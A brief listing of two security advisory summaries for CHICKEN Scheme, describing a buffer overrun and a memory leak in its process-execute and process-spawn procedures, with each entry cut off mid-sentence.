Buffer overflow

The "process-execute" and "process-spawn" procedures in CHICKEN Scheme used fixed-size buffers for holding the arguments and environment variables to use in its execve call. This would allow user-supplied argument/environment variable lists to trigger a buffer overrun. This affects all releases o...

DEBIAN-CVE-2016-6831

The "process-execute" and "process-spawn" procedures did not free memory correctly when the execve call failed, resulting in a memory leak. This could be abused by an attacker to cause resource exhaustion or a denial of service. This affects all releases of CHICKEN up to and including 4.11 it wil...
